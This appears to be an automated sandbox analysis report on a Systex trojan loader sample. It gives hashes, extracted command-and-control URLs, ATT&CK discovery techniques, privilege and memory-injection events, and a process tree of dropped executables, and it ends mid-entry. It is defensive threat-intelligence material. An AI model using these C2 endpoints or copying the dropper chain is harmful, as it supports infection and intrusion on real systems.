systex | 7201e17ee4e78a6e9573bba942682160691c1b84ac092ce295516248c843877a

Analysis

max time kernel
149s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 14:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Size 376KB
Sample260930-rr72bahf38
SHA256 7201e17ee4e78a6e9573bba942682160691c1b84ac092ce295516248c843877a
MD5 043d8c430093bb45828420d9217b392f
SHA1 3b602d38009589bbff9bdd7b344423441863e8cb
SHA512 2d3f3c7c4b02c811a8cbd9928b5b00ff165a38b528f8046c9918349586941d85eeab418cc63eae354ad8d4af1c538c8880f69ec0a36b1dbb216429972776420e
SSDEEP 3072:CjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:8yLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T17F847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3479F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
4944	kicausmkfcxupnhf.exe
3608	kicausmkfcxupnhf.sys
4060	CreateProcess.exe
4284	khcausmkfc.exe
4216	CreateProcess.exe
2652	CreateProcess.exe
4664	i_khcausmkfc.exe
5672	cwupmhezxu.sys
4136	CreateProcess.exe
2936	xupjhczxsm.exe
3608	CreateProcess.exe
4164	CreateProcess.exe
4104	i_xupjhczxsm.exe
5724	mhcwuomhez.sys
1092	CreateProcess.exe
1488	omjezwrmje.exe
4340	CreateProcess.exe
2216	CreateProcess.exe
4588	i_omjezwrmje.exe
668	jhbztrojhb.sys
3844	CreateProcess.exe
2360	jhbztrljet.exe
4720	CreateProcess.exe
6124	CreateProcess.exe
5020	i_jhbztrljet.exe
4660	ywtomgeywq.sys
5308	CreateProcess.exe
5356	tomgeywqoj.exe
4688	CreateProcess.exe
1812	CreateProcess.exe
4348	i_tomgeywqoj.exe
5588	idaytqljdb.sys
4480	CreateProcess.exe
2932	bvtnlfdywq.exe
3344	CreateProcess.exe
5816	CreateProcess.exe
4344	i_bvtnlfdywq.exe
4292	tnlyvqoifa.sys
2488	CreateProcess.exe
1000	idayvpnlig.exe
4276	CreateProcess.exe
2744	CreateProcess.exe
4440	i_idayvpnlig.exe
5232	lfdxvsqkid.sys
5980	CreateProcess.exe
1360	icaqkicxus.exe
4800	CreateProcess.exe
3008	CreateProcess.exe
5820	i_icaqkicxus.exe
2152	vsnkhfaxsp.sys
5440	CreateProcess.exe
4140	pnhfcaxspn.exe
1848	CreateProcess.exe
1888	CreateProcess.exe
1036	i_pnhfcaxspn.exe
5628	nhfzxusmke.sys
4144	CreateProcess.exe
5500	khcausmkez.exe
5672	CreateProcess.exe
3568	CreateProcess.exe
6020	i_khcausmkez.exe
3056	euomkhczxr.sys
3524	CreateProcess.exe
5360	wurmjhbzwu.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3196_1476331987\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3196_411916076\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3196_411916076\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3196_292522133\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3196_292522133\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3196_292522133\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3196_292522133\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3196_1872172997\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3196_1476331987\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xupjhczxsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbztrljet.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ytrljdbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igdyvtnlig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omjezwrmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnhfcaxspn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebztjebwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vpnkfcaxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmkfcxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icaqkicxus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	khcausmkez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_khcausmkez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tomgeywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	khcausmkfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_khcausmkfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igdyvtnlig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causqkifay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_icaqkicxus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmkfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omjezwrmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bvtnlfdywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wurmjhbzwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebztjebwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causqkifay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmkfcxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tomgeywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xupjhczxsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbztrljet.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bvtnlfdywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_idayvpnlig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ytrljdbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vpnkfcaxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmkfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kicausmkfcxupnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idayvpnlig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnhfcaxspn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wurmjhbzwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qomgeywtrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qomgeywtrl.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4772	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1336	ipconfig.exe
1656	ipconfig.exe
5692	ipconfig.exe
4348	ipconfig.exe
4976	ipconfig.exe
6068	ipconfig.exe
712	ipconfig.exe
4344	ipconfig.exe
1088	ipconfig.exe
2300	ipconfig.exe
1144	ipconfig.exe
3460	ipconfig.exe
2352	ipconfig.exe
1072	ipconfig.exe
2776	ipconfig.exe
2732	ipconfig.exe
1464	ipconfig.exe
4928	ipconfig.exe
4880	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2251218687-1689653882-3767565116-1000\{DD3769EB-B866-4F30-BE86-EF34EBDB2572}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4944	kicausmkfcxupnhf.exe
4944	kicausmkfcxupnhf.exe
4944	kicausmkfcxupnhf.exe
4944	kicausmkfcxupnhf.exe
4944	kicausmkfcxupnhf.exe
4944	kicausmkfcxupnhf.exe
4944	kicausmkfcxupnhf.exe
4944	kicausmkfcxupnhf.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3196	msedge.exe
3196	msedge.exe
3196	msedge.exe
3196	msedge.exe
3196	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	4664	i_khcausmkfc.exe
Token: SeDebugPrivilege	4104	i_xupjhczxsm.exe
Token: SeDebugPrivilege	4588	i_omjezwrmje.exe
Token: SeDebugPrivilege	5020	i_jhbztrljet.exe
Token: SeDebugPrivilege	4348	i_tomgeywqoj.exe
Token: SeDebugPrivilege	4344	i_bvtnlfdywq.exe
Token: SeDebugPrivilege	4440	i_idayvpnlig.exe
Token: SeDebugPrivilege	5820	i_icaqkicxus.exe
Token: SeDebugPrivilege	1036	i_pnhfcaxspn.exe
Token: SeDebugPrivilege	6020	i_khcausmkez.exe
Token: SeDebugPrivilege	4124	i_wurmjhbzwu.exe
Token: SeDebugPrivilege	2084	i_ebztjebwuo.exe
Token: SeDebugPrivilege	1784	i_qomgeywtrl.exe
Token: SeDebugPrivilege	3420	i_ytrljdbvtn.exe
Token: SeDebugPrivilege	4704	i_igdyvtnlig.exe
Token: SeDebugPrivilege	5916	i_causqkifay.exe
Token: SeDebugPrivilege	5812	i_vpnkfcaxvp.exe
Token: SeDebugPrivilege	4280	i_pmkfcxvpnh.exe
Token: SeDebugPrivilege	1112	i_pmkfzxrpjh.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3196	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4268 wrote to memory of 4944	4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 4268 wrote to memory of 4208	4268	2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 4208 wrote to memory of 3196	4208	iexplore.exe	91
PID 3196 wrote to memory of 2096	3196	msedge.exe	92
PID 3196 wrote to memory of 4772	3196	msedge.exe	93
PID 3196 wrote to memory of 2384	3196	msedge.exe	94
PID 3196 wrote to memory of 2384	3196	msedge.exe	94
PID 3196 wrote to memory of 3180	3196	msedge.exe	95
PID 3196 wrote to memory of 3180	3196	msedge.exe	95
PID 3196 wrote to memory of 3180	3196	msedge.exe	95
PID 3196 wrote to memory of 3616	3196	msedge.exe	96
PID 3196 wrote to memory of 3616	3196	msedge.exe	96
PID 3196 wrote to memory of 2356	3196	msedge.exe	97
PID 3196 wrote to memory of 3616	3196	msedge.exe	96
PID 3196 wrote to memory of 2356	3196	msedge.exe	97
PID 3196 wrote to memory of 2356	3196	msedge.exe	97
PID 3196 wrote to memory of 2300	3196	msedge.exe	99
PID 3196 wrote to memory of 2560	3196	msedge.exe	100
PID 3196 wrote to memory of 2300	3196	msedge.exe	99
PID 3196 wrote to memory of 2300	3196	msedge.exe	99
PID 3196 wrote to memory of 2560	3196	msedge.exe	100
PID 3196 wrote to memory of 2560	3196	msedge.exe	100
PID 3196 wrote to memory of 4760	3196	msedge.exe	101
PID 3196 wrote to memory of 4760	3196	msedge.exe	101
PID 4944 wrote to memory of 4060	4944	kicausmkfcxupnhf.exe	105
PID 4284 wrote to memory of 4216	4284	khcausmkfc.exe	108
PID 3196 wrote to memory of 1204	3196	msedge.exe	109
PID 3196 wrote to memory of 1280	3196	msedge.exe	110
PID 3196 wrote to memory of 1204	3196	msedge.exe	109
PID 3196 wrote to memory of 1280	3196	msedge.exe	110
PID 3196 wrote to memory of 4844	3196	msedge.exe	114
PID 3196 wrote to memory of 6012	3196	msedge.exe	115
PID 3196 wrote to memory of 6012	3196	msedge.exe	115
PID 3196 wrote to memory of 3052	3196	msedge.exe	116
PID 3196 wrote to memory of 3052	3196	msedge.exe	116
PID 4944 wrote to memory of 2652	4944	kicausmkfcxupnhf.exe	119
PID 4944 wrote to memory of 4136	4944	kicausmkfcxupnhf.exe	123
PID 2936 wrote to memory of 3608	2936	xupjhczxsm.exe	125
PID 4944 wrote to memory of 4164	4944	kicausmkfcxupnhf.exe	128
PID 4944 wrote to memory of 1092	4944	kicausmkfcxupnhf.exe	132
PID 1488 wrote to memory of 4340	1488	omjezwrmje.exe	134
PID 4944 wrote to memory of 2216	4944	kicausmkfcxupnhf.exe	137
PID 4944 wrote to memory of 3844	4944	kicausmkfcxupnhf.exe	142
PID 2360 wrote to memory of 4720	2360	jhbztrljet.exe	144
PID 4944 wrote to memory of 6124	4944	kicausmkfcxupnhf.exe	147
PID 3196 wrote to memory of 1648	3196	msedge.exe	149
PID 3196 wrote to memory of 4700	3196	msedge.exe	150
PID 3196 wrote to memory of 3568	3196	msedge.exe	151
PID 4944 wrote to memory of 5308	4944	kicausmkfcxupnhf.exe	154
PID 5356 wrote to memory of 4688	5356	tomgeywqoj.exe	156
PID 4944 wrote to memory of 1812	4944	kicausmkfcxupnhf.exe	159
PID 4944 wrote to memory of 4480	4944	kicausmkfcxupnhf.exe	163
PID 2932 wrote to memory of 3344	2932	bvtnlfdywq.exe	165
PID 4944 wrote to memory of 5816	4944	kicausmkfcxupnhf.exe	168
PID 4944 wrote to memory of 2488	4944	kicausmkfcxupnhf.exe	172
PID 1000 wrote to memory of 4276	1000	idayvpnlig.exe	174
PID 4944 wrote to memory of 2744	4944	kicausmkfcxupnhf.exe	177
PID 4944 wrote to memory of 5980	4944	kicausmkfcxupnhf.exe	181
PID 1360 wrote to memory of 4800	1360	icaqkicxus.exe	183
PID 4944 wrote to memory of 3008	4944	kicausmkfcxupnhf.exe	186
PID 3196 wrote to memory of 3324	3196	msedge.exe	188
PID 3196 wrote to memory of 3324	3196	msedge.exe	188
PID 4944 wrote to memory of 5440	4944	kicausmkfcxupnhf.exe	194
PID 4140 wrote to memory of 1848	4140	pnhfcaxspn.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-30_043d8c430093bb45828420d9217b392f_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4268
- C:\Temp\kicausmkfcxupnhf.exe
  C:\Temp\kicausmkfcxupnhf.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\khcausmkfc.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4060
  - - C:\Temp\khcausmkfc.exe
      C:\Temp\khcausmkfc.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4284
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4216
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1072
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_khcausmkfc.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2652
  - - C:\Temp\i_khcausmkfc.exe
      C:\Temp\i_khcausmkfc.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4664
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xupjhczxsm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4136
  - - C:\Temp\xupjhczxsm.exe
      C:\Temp\xupjhczxsm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2936
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3608
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1336
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xupjhczxsm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4164
  - - C:\Temp\i_xupjhczxsm.exe
      C:\Temp\i_xupjhczxsm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4104
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\omjezwrmje.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1092
  - - C:\Temp\omjezwrmje.exe
      C:\Temp\omjezwrmje.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1488
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4340
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1656
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_omjezwrmje.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2216
  - - C:\Temp\i_omjezwrmje.exe
      C:\Temp\i_omjezwrmje.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4588
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jhbztrljet.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3844
  - - C:\Temp\jhbztrljet.exe
      C:\Temp\jhbztrljet.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2360
    - - C:\temp\CreateProcess.exe
        
